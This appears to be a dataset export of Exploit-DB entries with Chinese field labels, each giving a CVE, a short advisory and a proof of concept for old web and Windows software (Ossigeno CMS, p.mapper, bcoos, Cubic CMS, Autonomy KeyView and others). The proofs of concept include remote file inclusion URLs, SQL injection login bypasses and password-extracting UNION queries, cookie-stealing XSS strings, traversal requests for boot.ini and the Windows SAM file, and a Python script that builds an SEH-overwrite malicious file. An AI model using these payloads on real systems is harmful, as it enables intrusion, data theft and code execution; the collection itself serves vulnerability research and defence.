QLWD/code_shield huggingface dataset:
标题: Ossigeno CMS 2.2_pre1 - '/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno' Remote File Inclusion EDB-ID: 30831 CVE: 2007-6218 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26654/info
     
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable.
 
http://www.example.com/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=http://www.example2.com URL: https://www.exploit-db.com/exploits/30831
标题: Ossigeno CMS 2.2_pre1 - '/upload/xax/ossigeno/admin/install_module.php?level' Remote File Inclusion EDB-ID: 30829 CVE: 2007-6218 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26654/info
   
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/ossigeno/admin/install_module.php?level=http://www.example2.com URL: https://www.exploit-db.com/exploits/30829
标题: BEA AquaLogic Interaction 6.0/6.1 Plumtree Portal - Multiple Information Disclosure Vulnerabilities EDB-ID: 30822 CVE: 2007-6198 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/26620/info

BEA AquaLogic Interaction is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to access valid usernames in the Plumtree portal as well as the server hostname, build date, and server version. Information harvested can aid in further attacks.

The following versions are vulnerable:

BEA Plumtree Foundation in the 5.0 series, version 6.0 through service pack 1 on all platforms
BEA AquaLogic Interaction 6.1 through service pack 1 on all platforms 

https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*&in_hi_req_ apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*admin*&in_hi_ req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and URL: https://www.exploit-db.com/exploits/30822
标题: Ossigeno CMS 2.2_pre1 - '/upload/xax/admin/patch/index.php?level' Remote File Inclusion EDB-ID: 30828 CVE: 2007-6218 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26654/info
  
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/patch/index.php?level=http://www.example2.com URL: https://www.exploit-db.com/exploits/30828
标题: p.mapper 3.2 beta3 - '/plugins/export/mc_table.php?_SESSION[PM_INCPHP]' Remote File Inclusion EDB-ID: 30821 CVE: 2007-6191 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/26614/info
 
p.mapper is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect p.mapper 3.2.0 beta3; other versions may also be vulnerable.
 
http://www.example.com/pmapper-3.2-beta3/plugins/export/mc_table.php?_SESSION[PM_INCPHP]=http://www.example2.com URL: https://www.exploit-db.com/exploits/30821
标题: Yahoo! Toolbar 1.4.1 Helper - Class ActiveX Control Remote Buffer Overflow (Denial of Service) (PoC) EDB-ID: 30832 CVE: 2007-6228 类型: DOS 平台: WINDOWS 发布日期: 2007-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/26656/info

Yahoo! Toolbar ActiveX Control is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer or other applications that use the vulnerable ActiveX control. Reports indicate that code execution is not possible, but this has not been confirmed.

Yahoo! Toolbar 1.4.1 is vulnerable to this issue; other versions may also be affected. 

<html><body> <object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object> <script language=vbscript> arg1=String(517140, "A") target.c arg1 </script> </body></html> URL: https://www.exploit-db.com/exploits/30832
标题: bcoos 1.0.10 - 'ratelink.php' SQL Injection EDB-ID: 30824 CVE: 2007-6266 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/26629/info
 
The 'bcoos' program is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
These issues affect the application's arcade, myalbum, mylinks, and ecal modules.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
These issues affect bcoos 1.0.10; other versions may also be affected.
 
http://www.example.com/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30824
标题: Ossigeno CMS 2.2_pre1 - '/upload/xax/admin/modules/install_module.php?level' Remote File Inclusion EDB-ID: 30826 CVE: 2007-6218 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/26654/info

Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/modules/install_module.php?level=http://www.example2.com URL: https://www.exploit-db.com/exploits/30826
标题: FMDeluxe 2.1 - 'index.php' Cross-Site Scripting EDB-ID: 30813 CVE: 2007-6162 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26587/info

FMDeluxe is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows an attacker to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects FMDeluxe 2.1.0; other versions may also be affected. 

http://www.example.com/PATH/index.php?action=category&id=[XSS] URL: https://www.exploit-db.com/exploits/30813
标题: Autonomy KeyView Lotus 1-2-3 - File Multiple Buffer Overflow Vulnerabilities EDB-ID: 30816 CVE: 2007-6593 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26604/info

Autonomy KeyView is prone to multiple buffer-overflow vulnerabilities.

Successfully exploiting these issues could allow an attacker to execute arbitrary code in the context of the user running the application.

Multiple applications incorporate the vulnerable KeyView component, so they are also considered vulnerable to these issues.

NOTE: These issues are similar to those described in BID 26175 (Autonomy KeyView Multiple Buffer Overflow Vulnerabilities) but affect a different component.

from sys import argv
from struct import pack

def createMaliciousFile(filename):
   seh_offset = 0x9c4
   jumper     = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased)

   shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3

   content  = '\x00\x00' # header record type
   content += '\x1a\x00' # header length
   content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01'
   content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00'
   content += '\x1b\x00' # vulnerable record type
   payload  = ''
   payload += '\x90' * (seh_offset - 4) #others too
   payload += '\xeb\x06\x90\x90'  # jmp six bytes forward
   payload += pack('<L', jumper)
   payload += shellcode

   content += pack('<H', len(payload))
   content += payload

   fd = open(filename, 'wb')
   fd.write(content)
   fd.close()

if len(argv) is not 2:
   print '[-] Must specify a filename. Remember to change the pop pop ret address! :)'
else:
   createMaliciousFile(argv[1]) URL: https://www.exploit-db.com/exploits/30816
标题: PHPSlideShow 0.9.9 - 'Directory' Cross-Site Scripting EDB-ID: 30806 CVE: 2007-6135 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26575/info

PHPSlideShow is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects PHPSlideShow 0.9.9.2; other versions may also be vulnerable. 

http://www.example.com/scripts/demo/phpslideshow.php?directory="><iframe> http://www.example.com/scripts/demo/phpslideshow.php?directory=<html><font color="Red"><b>Pwned</b></font></html> http://www.example.com/scripts/demo/phpslideshow.php?directory=<EMBED SRC="http://site.com/xss.swf" http://www.example.com/scripts/demo/phpslideshow.php?directory=FORM%20ACTION=%22search.php%22%20METHOD=%22GET%22%3E URL: https://www.exploit-db.com/exploits/30806
标题: Proverbs Web Calendar 1.1 - 'Password' SQL Injection EDB-ID: 30810 CVE: 2007-6158 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26584/info

Proverbs Web Calendar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Proverbs Web Calendar 1.1 is vulnerable; other versions may also be affected. 

The following proof of concept is available:

Username: admin
Password: ' or URL: https://www.exploit-db.com/exploits/30810
标题: Tilde 4.0 - 'Aarstal' Cross-Site Scripting EDB-ID: 30815 CVE: 2007-6160 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26592/info

Tilde is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Tilde 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=[XSS] URL: https://www.exploit-db.com/exploits/30815
标题: ht://Dig 3.2 - Htsearch Cross-Site Scripting EDB-ID: 30818 CVE: 2007-6110 类型: WEBAPPS 平台: CGI 发布日期: 2007-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/26610/info

ht://Dig is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows an attacker to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects ht://Dig 3.2.0b6; other versions may also be vulnerable. 

http://www.example.com/cgi-bin/htsearch?config=&restrict=&exclude=&method=and&format=builtin-long&sort=<script>alert("foo")</script>&words=foo URL: https://www.exploit-db.com/exploits/30818
标题: p.mapper 3.2 beta3 - '/incPHP/globals.php?_SESSION[PM_INCPHP]' Remote File Inclusion EDB-ID: 30820 CVE: 2007-6191 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/26614/info

p.mapper is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect p.mapper 3.2.0 beta3; other versions may also be vulnerable.

http://www.example.com/pmapper-3.2-beta3/incphp/globals.php?_SESSION[PM_INCPHP]=http://www.example2.com URL: https://www.exploit-db.com/exploits/30820
标题: SafeNet Sentinel Protection Server 7.x/Keys Server 1.0.3 - Directory Traversal EDB-ID: 30809 CVE: 2007-6483 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26583/info

Sentinel Protection Server and Keys Server are prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

This issue affects Protection Server 7.0.0 through 7.4.0, and Keys Server 1.0.3; earlier versions may also be vulnerable. 

http://www.example.com:6002/../../../../../../boot.ini
http://www.example.com:7002/../../../../../../winnt/repair/sam URL: https://www.exploit-db.com/exploits/30809
标题: SimpleGallery 0.1.3 - 'index.php' Cross-Site Scripting EDB-ID: 30811 CVE: 2007-6157 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26585/info

SimpleGallery is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects SimpleGallery 0.1.3; other versions may also be vulnerable. 

http://www.example.com/PATH/index.php?album=[XSS] URL: https://www.exploit-db.com/exploits/30811
标题: GOUAE DWD Realty - 'Password' SQL Injection EDB-ID: 30807 CVE: 2007-6163 类型: WEBAPPS 平台: ASP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/26579/info

DWD Realty is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following proof of concept is available:

Username: Admin
Password: anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30807
标题: Liferay Portal 4.3.1 - Forgot-Password Cross-Site Scripting EDB-ID: 30817 CVE: 2007-6173 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/26606/info

Liferay Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Liferay Portal 4.3.1 is vulnerable; other versions may also be affected. 

"><script>alert(&#039;xss&#039;)</script>
<html><b>XSS</b></font></html>
"><iframe> URL: https://www.exploit-db.com/exploits/30817
标题: Bandersnatch 0.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30801 CVE: 2007-6001 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/26553/info

Bandersnatch is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Bandersnatch 0.4 is vulnerable; other versions may also be affected. 

http://www.example.com/path/to/index.php?func=[injectionpoint]
http://www.example.com/path/to/index.php?date=[injectionpoint]
http://www.example.com/path/to/index.php?func=log&jid=[injectionpoint]
http://www.example.com/path/to/index.php?func=user&jid=[injectionpoint] URL: https://www.exploit-db.com/exploits/30801
标题: VBTube 1.1 - Search Cross-Site Scripting EDB-ID: 30804 CVE: 2007-6141 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/26566/info

VBTube is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects VBTube 1.1; other versions may also be vulnerable. 

http://www.example.com/vBTube.php?do=search&search=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30804
标题: I Hear U 0.5.6 - Multiple Remote Denial of Service Vulnerabilities EDB-ID: 30791 CVE: 2007-6103 类型: DOS 平台: MULTIPLE 发布日期: 2007-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26516/info

Multiple denial-of-service vulnerabilities affect I Hear U because the application fails to handle specially crafted packets.

An attacker may leverage these issues to cause a remote denial-of-service condition in affected applications.

These issues affect versions prior to I Hear U 0.5.7.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30791.zip URL: https://www.exploit-db.com/exploits/30791
标题: VUNET Mass Mailer - 'default.asp' SQL Injection EDB-ID: 30793 CVE: 2007-6138 类型: WEBAPPS 平台: ASP 发布日期: 2007-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/26522/info

Mass Mailer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following proof-of-concept example is available:

Login Page (Default.asp)

Password: anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30793
标题: Cubic CMS - Multiple Vulnerabilities EDB-ID: 30790 CVE: 2014-1619 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-07 漏洞利用脚本: I. BACKGROUND
-------------------------
"CUBIC CMS" is a non-free content management system for websites and 
portals of any size, powerful, adaptable to any graphic design that 
allows users administration 100% professional but simple at the same 
time that website.

II. VULNERABILITIES
-------------------------

II.i FULL PATH DISCLOSURE
-------------------------
CUBIC CMS presents a full path disclosure in the 'Controller Not Found' 
exception management, due to an incorrect 'Software Exception' management.

Syntax: 
  http://www.example.com/id/-22
  http://www.example.com/foo.bar

II.ii SQL Injection
-------------------------
CUBIC CMS presents a SQL Injection in its 'resource_id' and 'version_id' parameters 
on his '/recursos/agent.php' (Resources Management Module) script via GET HTTP 
Method, due to an insufficient sanitization on user supplied data.

Syntax:  
  http://www.example.com/recursos/agent.php?resource_id=-11 OR 'foobar' UNION SELECT user()-- -
  http://www.example.com/recursos/agent.php?version_id=-22 OR '' UNION SELECT @@version-- -

II.iii SQL Injection
-------------------------
CUBIC CMS presents a SQL Injection in its 'login' and 'pass' parameters on his 
'/login.usuario' (Users Management Module) script via POST HTTP Method, due to an 
insufficient sanitization on user supplied data.

Syntax:  
  login=Administrator&pass=foobar') or ('1'='1

II.iv Local File Inclusion
-------------------------
CUBIC CMS presents a SQL Injection in its 'path' parameter on his 
'/recursos/agent.php' (Resources Management Module) script via GET HTTP Method, 
due to an insufficient sanitization on user supplied data.

Syntax:  
  http://www.example.com/recursos/agent.php?path=/../../application/config/project.ini

IV. REFERENCES
-------------------------
http://www.proyectosbds.com
http://www.cubicfactory.com/

V. DISCLOSURE TIMELINE
-------------------------
- March 28, 2012: First Vendor Contact.
- Dec 30, 2013: Second Vendor Contact (Still waiting for responses).

VI. CREDITS
-------------------------
This vulnerability has been discovered
by Eugenio Delfa <ed (at) isbox (dot) org>. URL: https://www.exploit-db.com/exploits/30790
标题: MySpace Scripts Poll Creator - 'index.php' HTML Injection EDB-ID: 30799 CVE: 2007-6136 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/26544/info

MySpace Scripts Poll Creator is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/poll/index.php?action=create_new URL: https://www.exploit-db.com/exploits/30799
标题: Citrix Netscaler 8.0 build 47.8 - Generic_API_Call.pl Cross-Site Scripting EDB-ID: 30777 CVE: 2007-6037 类型: WEBAPPS 平台: CGI 发布日期: 2007-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26491/info

Citrix NetScaler is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Citrix NetScaler 8.0 build 47.8 is vulnerable; other versions may also be affected. 

http://www.example.com/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e URL: https://www.exploit-db.com/exploits/30777
标题: Aruba MC-800 Mobility Controller - Screens Directory HTML Injection EDB-ID: 30771 CVE: 2007-6054 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26465/info

Aruba MC-800 Mobility Controller is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible. 

https://www.example.com:4343/screens/%22/%3E%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/30771